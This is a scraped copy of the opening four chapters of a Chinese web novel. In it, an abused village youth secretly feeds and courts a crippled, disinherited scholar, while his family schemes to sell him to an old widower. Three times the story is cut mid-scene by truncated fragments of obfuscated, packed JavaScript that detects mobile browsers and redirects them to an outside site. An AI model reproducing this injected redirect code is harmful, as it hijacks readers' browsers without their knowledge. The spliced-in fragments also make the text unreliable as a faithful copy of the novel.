《瘸腿后,被丑夫郎钓成翘嘴》 1. 第 1 章 “萧家那个大公子回来了!” “早就回来了,都回来三日有余,也没见出过门。” “唉,分明自小就那么知书识礼的一个好孩子,一表人才,从不自恃清高,见人便含三分笑,看着真真是画本里走出来的公子哥,还那么聪明伶俐,十二岁就考了童生,十五岁又中秀才,听说今年想下场考举人了,不想去郡府路上偏出了这挡子事,现在不光家破人亡,连腿也瘸了,怕是不能好了。” “那腿真不能好了?” “自是不能好了,不然以他这般年经轻轻才华横溢的少年人,谁敢得罪他?又是被抢了家产,又是被扫地出门,现在困在这破旧屋,门也不出,怕是要饿死哦!” “哎,人家用你担忧么?人家还有青梅竹马未婚夫呢!” “我看呀,那青梅竹马说不定过两日就来退亲了。若真这么爱,怎么会让他搬回老家,我才不信一个富商家里一间空房都没有,这种鬼话你也信?” “长了这般好样貌,说不准呢。” “我说呀,再好的面貌也不能当饭吃,那柳家定是要退了这门亲事!” “把他放在丢在旧宅不管,估计是想放着他,等他死了,谁知道这一口气喘了这么久,他就没死成。” “你说话也忒难听了点。” “是难听,但是不是这个理儿!他阿叔阿伯都巴不得他早死,名正言顺领他家产,他未婚夫也好等他死后再谈门亲事。” “照你这么说,他现在大门不迈,二门不出,说不定,过不了几日就要饿死,那柳家何必触这个眉头,还上门一趟。等他死了,这婚是不自然就消了吗?” “谁知道呢,总有人急着等他死咯。” 烈日下,奈宁背着沉甸甸的柴,经过这处听到屋口乘凉村妇口舌,脚步顿了顿,很快重新抬起腿继续往前走。 萧家那个大公子他倒是见过的,虽早已搬到县城里去,但每年清明还是会回来祭祖。 分明是同龄人,但他一向长得比旁的少年出挑,皮肤白皙,五官如刻,眉目含情,看人自带三分笑。 奈宁日日有干不完的活,上山捡柴回来,天色不早,乌云密布,雷电交加,他还没挑粪淋菜未摘猪草,忧心匆匆火急火燎担粪出田,谁知半路一道雷声轰隆,他一个趔趄,整个摔倒在地上,肩上还挑着一担粪,悉数倒在了地上,天上雷电滚滚,地下哇啦啦下起雨来。 眼泪瞬间从眼眶砸下来。 他顾不得摔痛的膝盖与擦伤的手臂,只看着泼撒了的两桶粪流泪。 心情从来没有这么绝望黑暗过。 头上乌云压顶,电光雷鸣不断,倾盆大雨打砸在地上单薄少年身上,他蜷缩成一团,双手抱着膝盖,脸蛋埋在双腿之间。 各家各户早在大雨来临前关了门,雨幕之中蜿蜒出道道炊烟,轰隆之下各家烟火欢语。 偌大的天地仿佛只剩一个被抛弃的人。 在他下定什么决心的时候,砸得人生痛的雨水停了。 他呆呆地抬起头来,对上一张璀璨明媚的脸庞。 天色很暗,很多东西看不清楚,独那张脸,经年累月,依然深深烙在他脑海。 来人向他伸出一只手,他身上的粪便脏污了少年洁白的衣袖。 少年冲他笑了笑,跟他说:“无妨。” 笑容干净,人也俊。 少年肩头湿了大半,索性将伞送给了他。 很漂亮的一柄伞,他一直偷偷藏着,在街道上看到差不多的伞,问过多少钱,是他不敢想象的价格。 那还是第一次有人对他献殷勤,村中许多姑娘哥儿都有男子绕在身旁献殷勤,独他没有。 后来才听说人家萧大公子那日定了亲。 所以,原是心情好,才冲他笑了那么一下。 他的世界像被剥开了一片乌云,看到了朗月,但又瞬间合拢,被深埋在了心底,像井底之月。 他以为他再也不会经过那片荒井,让它一直封存那里。 然而此刻又听到了他,奈宁心头异动,但很快闷着头继续往前走了。 对啊,人家还有未婚夫,与他何干? 说闲话的村妇看到他,远远打了声招呼:“宁哥儿,这么大日头还上山砍柴啊?” 然而单薄瘦小背着重柴的小哥儿根本没听到,低着头走,脚步有些踉跄。 有个妇人道:“可怜哦,怕是又没吃就干了一日吧,唉!” 其他人也纷纷转过头来,这位小哥儿也是他们口舌中常客了。 说起他,无不感叹,从没见他得过一日闲,时时刻刻都是在埋头干活,穿得破破烂烂,瘦瘦巴巴,经常见他身上有伤,脸有巴掌。 有人感慨道:“自从他亲娘去后,他就没得一个好日子过了。” “可不是,后娘入门后,亲爹也成后爹。” “你们说的这些都还好,我说啊,更惨的还在后头呢,今日有个老鳏夫上他家提亲了,你们知道么?” “你说的怕不是隔壁村那个烂赌烂饮、年轻时打跑媳妇、最近不知为何发了横财的那个牛二?” “可不是,听说要出十两银娶媳妇呢!” 虽已近中秋,日中时太阳还是晒得人头晕眼花。 奈宁口干舌燥,眼前阵阵发黑,还没到家,远远就听到屋里传出骂声。 等他踏进家门,那骂声更是陡然拨高:“这么晚回来,在外头生蛋呀!一日日就知道躲懒,还不赶紧去烧水做饭!” 奈宁放下柴,沉默地按揉酸痛的肩头,灌了一口生水,埋头扎进灶房。 谭梨花啐道:“一日日这副死相,像极了那死鬼老娘,早点给他寻个人家打发出去嫁了吧,看到就来气!” 奈宁烧水煮着饭,神思恍恍惚惚在别处。 奈大壮在抽烟,谭梨花过去踢了他一脚:“隔壁村那个老鳏夫说要出十两银娶他什么的,你怎么想?” 赖大壮皱了皱眉头:“那人年纪也太大了些。” “你管他大不大,有钱拿就是。” “大家会说咱们。” “说就让他们说两句,日子还不是要过,眼睛长在咱们身上不成,再说了,钱到手了才是正事。” 赖大壮又抽了两口烟:“等等看看旁的人家再说吧,说不定有更好的人家呢?” 奈宁坐在小凳墩上,双手圈着膝盖,莫名笑了笑,火光映在他面庞,脸色惨白,黑白分明的眼睛有火光跳跃,眼底没有一点温度。 晚上,一碟烧鸭一盘青菜,还有丝瓜鸡蛋汤,一家五口和和乐乐,讨论着奈宁的婚事。 而奈宁捧着破角的碗坐在柴草堆上,碗里是早晨煮剩的粥,搭配没落油盐的菜。 丝瓜都吝啬给他分一块,更别提鸡蛋与烧鸭。 他呆呆地扒拉粥,食不知味,时而想起那张笑容明朗的脸。 时而想起,三日前,他出田回家,看到萧练被抬回旧屋的那一幕。 萧练身上全然没有了一如既往的神彩,死气沉沉,不似活人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749378|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他拄着拐从马车上下来时无人帮扶,他失足跌下时,周边尽是笑声。 那时天色有些晚了,路上没什么人,奈宁的目光刚好与他看过来的视线相撞。 奈宁不敢相信,眼前颓废沧桑的少年是他心中的朗朗明月。 他身上脏兮兮的,脸蛋脏污,头发枯槁,面容憔悴,裹着麻布的腿脚渗出脓血。 平素逢人三分笑的眉眼,没半点神彩。 可就是这样了,一张脸,依然绝色。 甚至平添了几分破碎感,莫名勾人心疼。 忽然有一个大胆的念头爬上奈宁脑海。 他歪了歪脑袋。 既然他们两个都是没人痛的,那他为何不能要他呢? 他可以养他,不嫌弃他瘸腿。 一碗粥他也没吃完,外头灯熄安静后,趁着月黑风高,他捧着碗偷偷摸入灶房,果然一点汤汁也不给他剩,幸好锅里还余有一点饭。 奈宁捧着锅将最后一点米都刮下来,翻箱倒柜,再寻不到旁的吃食。 家里处处似防贼一样提防他,米油盐但凡一点吃食,都要锁进柜子里。 奈宁抿了抿唇,捧着半碗粥饭,悄悄往一个方向而去。 这是在村子边边上的一间破宅,道路两侧杂草丛生,已经许久没有人踏足。 破院在惨白月光下,越发孤寂凄凉。 周边只有蟋蟋蟀蟀的虫叫声,没有半点人气。 萧大公子往年同家人回来才住这边,他自己回来则借住他们叔伯家里,那时个个都要说他们叔伯好,兄弟和睦。 这座房子在本村是赫赫有名的好房,也因主人没有好好打理,年久失修而变得破落。 大门并没有完全关闭,虚虚开了个缝,不知什么人进去过了。 奈宁敲了敲门,低低喊着:“有人在吗?” 喊了几声,完全没有人应,迟疑良久,终是推开了门。 这破旧的木门转轴发出巨大的吱啊声,奈宁吓了一跳,放轻了手上动作,门推开有灰尘落下,一股子陈旧枯败味儿扑鼻而来。 奈宁捏着鼻子,眉头也拧了拧,这地方可怎么住人呢? 他一只脚踏进去,踩断枯枝树叶,骤起的声音吓得他一个激灵。 这屋子竟然完全没有打理,他迟疑了一瞬,萧练真的住这里吗? 他弱弱喊了两声:“有人在吗?有人在吗?” 这座老宅青砖黛瓦,院墙高耸,周边树木茂盛,白天看着威风凛凛,夜间总觉得瘆人,没有半点人气。 奈宁蹑手蹑脚走着,时不时回头看看身后,总觉得有人在后面看着自己。 院子里杂草丛生,撒了一地惨白月光。 堂屋房间也有月光投射进去,但没有月光的地方越发黑漆漆的,看不到里头有什么。 奈宁摸着黑进了堂屋,摸到了八仙桌,先将碗放上去。 再到处摸灯,没摸着。 转身摸进偏房。 黑暗中不知碰到了什么,痛得嗷呜一声,眼泪都磕出来了,越发想打退堂鼓。 若是有人,他都闹出这么大动静,怎么会一声不吭? 想到今朝那些婶婶嫂嫂所言,他又担心萧练饿得起不来床,叫不出声,昏死了过去。 想想都到这里了,还是咬牙继续往前摸。 摸黑被磕撞怕了,这一会越发忐忑,不敢大步。 不多久他摸到了床边,心头一喜,没多久就摸到了蚊帐,继续往里探,骤然摸到了一只脚。 2. 第 2 章 吓得他赶紧缩回手,然而过半天依然没有动静。 奈宁眨眨眼睛,低低喊了声:“喂?” 人像死了一样。 奈宁慢吞吞的伸手过去,摸到了硬邦邦的大腿,都这般了,那腿的主人依然没有动静。 他摇了摇,那具身体死了一般。 他心头莫名紧张,已经死了么? 他顺着腿一直往上摸,摸到特别处,呆了呆猛地抽回手,微微红了脸。 后知后觉反应过来,摸到这里人都没有半点反应,真死了? 说实话他有点被吓到了。 抽了抽鼻子,摸向人的脸蛋心脏。 探鼻息时,他哆哆嗦嗦,不小心将手指探进了人家的嘴齿,摸到了一点潮湿,先是柔软,后面是坚硬。 他刚要抽出来,手指被咬了一口。 “啊!” 猝不及防的一口,有些疼,奈宁吓得尖叫一声,一屁股跌倒在地上。 好不容易爬起来又不慎碰了壁,脑瓜子被磕得嗡嗡的。 痛得他眼泪直掉,愤愤地想还有什么比今天更倒霉的,死了也要摸个全尸! 四处摸索,终于给他摸到了灯,旁边放了个火折子,虽然没有用过,但也见过人怎么用。 小小油灯将满室照亮,黑暗的房间变得通透。 奈宁看到了横躺在床上的人。 一动不动,没有声息,像死了一样。 不对,刚才他被咬了一下! 他咬着唇,提心吊胆上去,轻轻喂了一声。 没有人应。 定了定心神,掀开蚊帐,一双黑漆漆的目光瞪着他。 “啊!” 奈宁惊呼一声,差点没将手中的油灯失手打砸了。 床上的男人一身白,那张脸更是惨白如纸,唇上没有一点血色,眼睛格外漆黑,死气沉沉,看着像孤魂野鬼。 奈宁哆哆嗦嗦道:“你、你还活着吗?” 冷风嗖嗖而过,无人应声,那人就这么冷冰冰的瞪着他。 过了许久,奈宁心脏才安定下来,瘪瘪嘴,不活着能瞪他么? 真是怪吓人的。 出去将米饭端进来,放在床头桌上:“这个饭我放这里了,你若饿了,就吃。” 他等了一会没有响应,悻悻地挠挠脸颊。 对方死鱼一样躺在床上,只知道冷眼瞪着他,顿时什么念头都没了,奈宁抿唇道了句:“那我走了,饿了自己吃饭。” 饭放在那里,奈宁回头又看了一眼。 手脚没断的话,稍稍伸手就能吃到饭。 清晨鸡啼,奈宁装了一壶水就出门,挑着粪去淋菜,他身子单薄,走几步就要停一停。 幸好出门早,没听到后面起床后娘的骂娘声。 家里的菜田郁郁葱葱,摘完菜,奈宁又悄悄地摘了一些番薯藤,就这么挑着去镇上卖。 反正他平素回去也不会有朝食吃,索性也不回了。 卖菜是门好差事,卖多少家里都不会知道,偷偷存一些钱在外头吃包子馒头,他们也不知。 他常常能在山里挖到一些山货,卖了钱也不会上交。 这些钱被他一分一分的攒下来。 现在已经有百文。 以前他都闷头干活,不知道存钱,自从那天萧练送了他一把伞之后,他仿佛找到了生存的希望,存了私心。 虽然后来这个希望被打破了,但他还是勤勤恳恳地存着自己的小钱罐。 摆摊卖菜时一扫在村子里的沉闷,扯出个笑来,眼眸弯弯,有婶子阿婆看过来就笑盈盈道:“新鲜采摘的菜,婶婶阿婆来看看啊,便宜卖了。” 笑的甜,说话也甜,回头客怎么也要多两个。 卖到了钱,他就去买了个馒头来啃,香喷喷刚出笼的大馒头,一文两个,饱满厚实,一个可以啃半天。 他买了两个,还有一个小心地用手帕包裹起来。 菜卖完,赚了八个铜板,以往至少要给家里五文钱,现在他一个铜板都不想给,拿着那本要给家里的五文钱去买了一些糖,又在店家那里打了一壶水,一小块糖融了进去。 剩下的三文钱小心的用麻绳串好,又用手帕包着,好好放在怀里,拍实。 收拾了摊位也不回家,背着背篓径直去了后山,捡些蘑菇,挖些笋,看到野菜也挖一些,又扎了捆柴火。 除了没油盐与米之外,山里什么都有。 但他可以捡山货来换米饭! 天色暗下来了,身形单薄的小哥儿还在山上忙碌,等最后一缕夕阳将灭,他终于抬起头来,站在山腰,青山绿水一望无穷,万家灯火,家家户户炊烟袅袅。 他抹汗笑了笑,才背着柴火提着山货回去。 并没有回他所谓的家,径直摸进了萧练家。 萧大公子家一成不变,奈宁并不意外,推开房门时,他想,即使萧大公子脾气再差,慢慢磨合也能好好相处。 昨日那副样子,应是多日没吃饭,没力气了。 何况他又摸了人家不该摸的地方…… 想到这里,奈宁被汗水打湿的脸蛋悄悄红了,反而更加坚定了要做的事。 反正不该碰的都摸到了。 咳…… 男人吃了他那一碗饭,虽还是饿了一天,多少还是会有点起色。 他自己经常饿一天还要干活。 房间里还是漆黑一片,他熟练的点起灯,一开始还有个笑脸,等看到床头柜上那碗没有动过的粥饭时,脸上神情一下子僵住了。 他忍饥挨饿顶着打骂送来的饭粥,对方一点没碰。 这是半点都不领他的情义! 掀开蚊帐一看,床榻上的人脸上死气比昨日更胜一些。 灯光逼近,萧大公子看了一眼过来,又闭上眼睛,脸色惨白,真像死了一样。 奈宁说不出自己什么感觉,一壶好心被人家砸地面,碾碎了。 满腔委屈化成眼泪,断了珠似的噼噼啪啪直掉。 他视为皎皎明月的男子,因之寻到生存勇气的男子,就这么冷血无情地将他拒之门外。 他想还他在雨天为自己撑一片晴天的恩情,想在他低谷时,还他一点温暖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749379|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟那时,他也是这么对自己的。 但对方,一点都不领情。 奈宁哭哭又笑笑,半点都不领情,既然如此绝情,之前又为何对人多情! 饿了半日,肚子咕噜咕噜叫起来,虽是笑着,泪水却比之前还多。 他有些迷茫了,天天饿肚子、又是打又是骂的日子,还要被卖给不知什么鬼样的人,这样的日子,他到底在图什么?他为什么还要坚持? 那一柄破伞,他早该将它四分五裂! 之前还是无声地哭哭笑笑,这会儿忽然癫狂了,哈哈地笑。 怎么都控制不住,一边抽抽噎噎的哭,一边抹眼泪。 床榻上死气沉沉的人奇怪地看过来,只见这个忽然疯了的小哥儿捧起那碗早就馊掉了粥饭,大口大口扒拉起来。 粥饭,顺着眼泪一块咽下。 萧练震惊,这碗饭摆在床上,在残存生存意志下,他不知看了多少眼,在他终于想要尝尝的时候,它馊酸得难以入口! 天气太热,隔了两日的粥根本不能吃了,一股酸味儿,黏黏糊糊的。 本来好端端的,就这么被放坏了。 奈宁平素在家里没少被黑心肝的后娘喊去吃馊掉了的粥饭,他肠胃不好,小时吃了碗隔夜粥又拉又泄,差点没死掉。 而这时,他大口大口扒拉进嘴里,冷冷地想:“死了吧,干干净净!” 突然一只惨白的手打过来,咣的一声,一碗饭粥砸了一地。 奈宁一双手空空的还摆在那里,愣愣的,好久没回过神了。 眼泪还是流着,心却是空了。 好像他被整个世界抛弃了一样,那股暗无天日的黑暗再次笼罩了他。 眼眶鼻腔尽是铁锈味,酸痛得厉害。 在他陷入无穷梦靥时,一道喑哑得几乎听不出来的声音在旁边响起:“吃不了了。” 方才安静得世界要覆灭了般的小哥儿,忽然哇哇哇大声哭起来。 萧练木着脸躺在床上。 他想死,但没必要伤害一个还能好好活着的小哥儿。 耳边撕心裂肺的声音不知持续多久,萧练张了张唇,多日未进滴水的唇裂开,鲜血渗出。 喉咙深处,更似被人用刀子狠狠地割。 他还想说什么,谁知下一瞬,哭得凄惨悲切的小哥儿忽然站起来,两步跨到床边,直接坐在床上,拿出葫芦拔开塞子,仰起头咕噜咕噜的灌了好几口水。 萧练眼睛睁开一丝缝,疑惑地看着他。 小哥儿喝得两腮鼓鼓的,瞪了他一眼,好似落定了什么决心,突然俯下身来一把扣住他的下颌,柔软冰凉的唇忽然贴上来,带着丝丝缕缕的潮湿。 干枯起皮、裂开道道血迹的唇得到了滋润,大量的水涌入喉间,心肝脾脏胃,空虚已久的器官,咕噜咕噜的叫起来。 同时涌进鼻腔,呛得他要死不活,不知他哪里起死回生了一股子力气,猛地将人推开。 整个人剧烈地咳嗽。 等他咳停了那一阵子,奈宁冷冰冰地看着他:“你若是再不吃不喝,我就嘴把嘴喂你!” 3. 第 3 章 说着也不废话,仰头咕噜咕噜的又灌了两口水,将身子探过去,又想要捏人的嘴巴。 他并非厚颜无耻,不对,他是厚颜无耻,但心跳砰砰砰的,也跳得很快。 还没出嫁,就胆敢亲吻男子,这么出格的事情他也很羞涩,脸蛋红扑扑的,闭着眼睛把心一横。 长这么俊,他不亏! 谁叫他又来撩别人呢! 萧练要侧脸,却被他死死的捏着下巴,说了一声“我……”,唇瓣就被堵住了。 咕噜咕噜又被小哥儿喂了一口。 奈宁抹了抹嘴角的水渍:“你刚才想说什么?” 这么一番折腾,萧练回了些力气,爬起床来,黑发凌乱,胸膛起伏,狠狠地瞪了奈宁一眼,一手夺过水壶,也不说话,仰着头咕噜咕噜地喝起来。 披头散发,衣衫被打湿,但还是人间绝色。一双眼睛怒视着他,更添了几分丽色。 “我说,我自己能喝!” 他几乎是吼出来的。 奈宁眨巴眨巴眼睛,原本就好脸红了,他还这么凶自己,破罐子破摔,气鼓鼓的也不说话,直接捏着他的下巴又要亲过去。 这回不是喂他水,而是在他的嘴巴上狠狠的啃了几口。 叫你凶,叫你凶! 亲完了,呸了一声,一抹嘴巴,摸出馒头,分了半个过去:“吃!” 萧练双手撑在床上,气喘吁吁,幽冷的眼神,鬼一样凝视着他。 奈宁也不多说,自己在嘴里啃两口,又要凑过去。 萧练大窘,脸颊微红,一把夺过馒头,自己啃了起来。 奈宁哼了声,这不就吃下了? 吃完半个馒头,男人肚子咕噜咕噜叫得更厉害了。 听声音不是闹肚子,是单纯的饿,没吃饱。 看他还是没有跟自己说话的意思,奈宁撇了撇嘴,也不耽搁,端着油灯,转身进了灶房。 这屋子原本就有个水井,周边砌了青砖,太久没人踏足,杂草青苔冒出来。 奈宁打了桶水,就在水井旁边将蘑菇竹笋野菜都洗了洗。 灶房里,锅碗瓢盆都是有的,通通锁在柜子里。 奈宁没有钥匙,又折进房去。 萧大少爷呆呆坐在床上,没有躺回去,人走过来,他转过头去,对上奈宁的脸,没有生意的俊脸又拧起来,警惕地看着他。 奈宁在他床前停步:“你家灶房柜子的钥匙呢?” 萧练偏过头没答话,他撸起袖子:“那我只好自己动手找了!” 说着一只膝盖跪在床边,伸手到男人身上摸了摸。 刚要摸入衣襟里,男人一把握住他的手腕,力气不小,奈宁手腕被握得生痛。 萧练咬牙道:“你到底想做什么!”终于说话,声音沙哑得不像样。 奈宁怎么晃手都挣不脱他,回过力气来的男人怎么都比他强些。 奈宁道:“你终于舍得说话,我还以为你是哑巴了!” 对方没说话就咬压切齿地看着他,奈宁抿了抿嘴,老实道:“我是哥儿,你是男人,我到婚嫁年纪了,想找个男人!” 萧练不敢相信地看着他:“你出去找什么男人不行!” “不要!” “我一个废人,你在我身上不会得到什么利益!” “怎么会没利益呢?这不是有个大宅子吗?刚好你瘸腿,生活不便,我可以养你!” “而且你怎么就是废人了?不过就是瘸了一条腿,有什么呢?你都已经是个成年汉子了,可以自立门户,再何况你读书识字呢,还可以、还可以……” 奈宁一时想不出来还可以做什么,终于想着一个,笑道:“大不了,去当那说书先生!” 萧练被他气得胸膛闷痛,狠狠偏过脸去。 要他去当说书先生,那他宁愿去死! 奈宁趁机甩开他的手,将他脸蛋扭过来:“你看旁的做什么,看我啊!” “我没跟你说笑,我认真的!” “你不知道比多少人强,你就如此作贱自己!怎么能叫人看不起呢?那些欺负过你的人,你应该欺负回去才是!你现在就在这等死,受这窝囊气!” 说起激动处,他捧着萧练脸蛋:“跟我一起好好过日子吧!等以后你的伤养好了,谁欺负我们,我们就欺负回去!再说你的脚也不一定就是坏了吧?他们肯定不舍得好好给你请大夫,等着你死抢你家产呢,将来,我定会好好赚钱给你治的!你就从了我吧?” 越说越兴奋,好像他很有希望,很有前途一样。 两人静静对视。 看着小哥儿黑白分明的眼睛,神情充满期待,似乎荣华富贵就在眼前。 有一瞬间萧练竟然心动了,手不知不觉摸上自己的脚,他的脚还能好么? 自从他摔断了腿之后,已经很久没有人这么充满期待的看着他了。 他看着小哥儿呆呆出了好久神。 反应过来什么,额角突突直跳,一手甩开他扶着自己脸蛋的手。 “没兴趣,少来烦我!” 奈宁也生气了,一手揪住他的衣襟,伸手去摸钥匙,跟他废话没有用的,生米煮成熟饭,他就老实了。 一只手在自己身上胡作非为,萧练终于体会到秀才遇上兵的感觉,咬牙道:“不在我身上!” 奈宁道:“我不信!” 胸膛上摸不到,手又继续往下。 萧练忍无可忍道:“在水井,正东方向,第五排,一口松砖里!” 话说完,好一阵子小哥儿还跪坐在旁边。 萧练眼皮突突直跳:“你还不去取?” 奈宁挠了挠脸颊:“钥匙放井里头,就不怕生锈打不开了么?” 萧练:“……” 他额角不受控制地又跳起来,脸蛋又扭到一旁:“爱取不取!” “爱取爱取!”奈宁也不急着走,又坐进了些,歪着脑袋看还在生气的男人。 虽点了油灯,房间还是昏暗,床榻被蚊帐遮挡,里头就更昏暗了。 对上小哥儿弯弯的眉眼,萧练怔了怔,那张不算出色的脸蛋忽然凑近,柔软的唇瓣又亲到了他的嘴角。 又来! 他气息不稳,刚要发火,就听到了软软的一声:“谢谢。” 奈宁立刻站起来:“我现在就去做好吃的给你!” 灯又被带走了,房间里没有了光,陷入一片漆黑。 床榻上的人兀自冷笑了一下,不明所以的道了声:“谢谢?” 声音冰冷,还带着嗤笑。 所有人都是在利用他,没有价值了就狠狠地将他丢在一边,巴不得他早死。 做好吃的给他? 要不了多久,这小哥儿就会将他家里仅剩的一点财产都给搜刮去! 算了,就给他了。 好过给那些让他恶心的人。 奈宁端着油灯来到井边,辩了一下方位,确实了方向,蹲在井边。 萧家的井口子收得好好的,打水时转动轱辘就好。 这会儿往井里看,还挺吓人的,他有点担心萧练骗他,村子有些传说,什么有心胸狭隘的人趁着月黑风高夜骗人到废井边,一下将人推进去! 井水凉,他莫名感觉身后冷风飕飕,一边回头看一边伸手下去摸。 心里期待,千万别在井里头伸出一只手来! 不过没等他担心多久,就摸到一块松砖头,这砖两侧留了两个指头的空隙,很容易拿出来。 钥匙到手的时候,奈宁眼睛又弯了弯,他果然不会骗人! 想到男人气急败坏,还老老实实的告诉自己钥匙在哪里,奈宁心里涌起一阵暖意,紧紧握着钥匙,心下决定,就他了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749380|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧家橱柜也是有能耐的,人家多是木做的,小小一个,他们家泥砖混着铁,不用锁根本开不了。 锅碗瓢盆都是清洗干净才放进橱柜里的,拿出来时虽有蛛网,但到底还是干净的。里面竟然还有些调料,油盐米酱,还有旁的大料,辣椒粉花椒八角党参土茯苓五指毛桃等。 打开一个小陶罐,奈宁都要开心一翻,好香好香。 这厨柜大,放的东西还挺多,到时可以好好翻一翻,现在要先做饭。 他摸摸空瘪的肚子,香料太香了,感觉更饿了。 现在距离大少爷回来祭祖过去也不过两个多月,这些都还能吃。 奈宁搬出两口小锅小灶,淘米下锅,萧练多日没进食身子弱,给他熬点粥。 砧板刀都拿了出来。 竹笋切了片焯水,起锅烧油炒菜。 落足油盐,炒竹笋,炒蘑菇,炒青菜。 简简单单都觉得好吃。 等米开要花点时间,奈宁打了一点粥汤出来,掰着馒头吃,慢慢等粥熟。 之后拿了两个盛汤的大碗来,粥打得满满的,大户人家的饭碗就不一般,小小一个,满满一碗都不够他吃,还不如这大汤碗来的实在。 粥用托盘装起来,端到房间里头。 考虑到萧练腿脚不便,将桌子挪到床边,三菜两粥摆在桌面上。 奈宁满足的看着自己做的饭菜,怎么看怎么香,开心地布好筷子,又倒了两杯热水,笑道:“快来吃饭啦!” 他进来的时候,萧练还好好的,这会也不知道在发什么闷气,低着头,身子也侧过一旁,似乎打定主意不吃。 满腔热血煮出来的一桌热饭,却是遭此冷落,仿佛被兜头泼了一盆冷水。 想跟他好好说话都没有用。 奈宁什么也不说了,坐在床上,凑到他身边,捏着他的下颌就亲。 萧练伸手来推,奈宁一把扯开自己衣襟,整个人贴到他怀里去。 最后,萧练乖乖凑过来吃饭,低着头一句话不说,耳朵尖悄悄有点红。 竹笋清脆咸香,蘑菇油滋滋的,马齿苋口感脆嫩。 一大碗粥,熬得粥油都出来了,又稠又滑腻,清香绵密。 粥碗里很体贴,布了一只瓦勺,旁边一只筷子。 一口暖粥入胃,空虚的肠胃得到洗涤。 这一顿寡淡,倒也清新,吃起来挺有味道。 饥饿的人一口比一口吃得快。 奈宁饿半天了,都没他吃的饭,这粥刚出锅腾腾冒着热气,小声提醒道:“小心烫。” 男人顿了顿,好像恍惚于自己开吃了,还如此不顾形象的,半天不肯在下勺子。 奈宁好笑道:“吃啊,慢慢来,刮最上层的粥就没这么烫了。” 看他这么乖,给他夹了一筷子菜。 萧练吃过不少美味,今日这顿却叫他恍惚,热热的粥下肚,人也有了些活气。 这一顿,两个人都吃得撑撑的,碗盆都光了,萧大少爷也没有再发脾气,呆呆地坐在那里。 奈宁心中无比宽慰,收拾了桌面笑道:“明日我再进山,看看能不能找到什么好吃的!” 说着捧着空了的碗筷,油灯放在一角,哼着不知名的调调出去了。 外面传来咣当的清洗碗筷声音,没多久灯光又进来,放在桌面。 奈宁拿了扫把铲箕进来。 “你看你,把粥饭打翻在这里,多难清理,要是在我家,又要被我二娘狠打一顿了!” 他一边唠唠叨叨,一边清理,先扫一遍,粥残渣是扫不掉的,黏黏腻腻,扫把都扫脏了,用水冲洗干净,又去肚膛挖些灰过来,覆盖在粥渣上,换了把干净扫把来。 反复清洗扫把,反复洗,这才将一地粥渣清扫干净。 萧练坐在旁边,嘴唇蠕动几下,最后默默闭上。 4. 第 4 章 奈宁收拾完,帮他落了蚊帐,摸到柴房,将就睡了一晚。 他睡得香甜,而奈家那边却是鸡飞狗跳,老鳏夫牛二拿着十两银子上门了。 奈大壮原本就蠢蠢欲动的心思,一下安定下来,一口一个儿婿叫得欢,完全不管对方年纪都能当自己爹了。 炒了碟花生,买了两斤酒,两人从天亮喝到天黑。 牛二喝大了,卷着舌头说话,手脚也不安分:“二娘、也是、有、有几分姿色,嘿嘿、嘿嘿……” 谭梨花忍着恶心又给他倒了一杯酒:“贤侄,之后娶了我家奈宁就是贤婿了,莫要说这种话。” 她特意将“贤侄”“贤婿”四字咬重,暗地里骂他不知伦理羞耻。 谁知牛二真是个没脸没皮的人,陷了一把谭梨花的腰:“要、要不你也跟了我吧,我、我给你们家多出二两银子。” 谭梨花牙根都咬紧了,当即想骂娘,看在十两人银子面子,强行忍了,心里骂着奈宁。 三个儿子早叫出去寻人了,这会儿也没见回来。 一个个都是死的,连她男人也是死的,自个婆娘被老男人揩油也不管,一双眼睛只知道盯入牛二怀里看,还不时冲谭梨花使眼色,恨她不识好歹,好歹先哄人把钱骗到手再说吧。 读书人都说什么人肉不过一副臭皮囊,喜欢就给他多摸两把,钱到手才是真。 等到入夜,天黑完,月亮都过了头顶也没见奈宁回来。 牛二又掐了谭梨花几把,专往多肉的地方掐,随后心满意足走了。 大门一关,谭梨花黑了脸,指着奈大壮骂道:“你个贱男人,没骨头的死男人,人家当着你面欺负你媳妇都不理!” 奈大壮则觉得她摸都被摸了,还半点好处没讨到,眼看就到手的银子就这么飞了,原本就一肚子气,忽然飞起一脚就踹向她腹部。 谭梨花倒在地上,捂着腹部,半天站不起来。她恨奈大壮,又打不过,一肚子气都算在奈宁头上。 若是奈宁回来,非打断他腿不可,不是,要打到他只剩一口气,要死不活,直接丢到牛二家,看他还往哪里跑! 奈家人守了一夜,都没见奈宁的影。 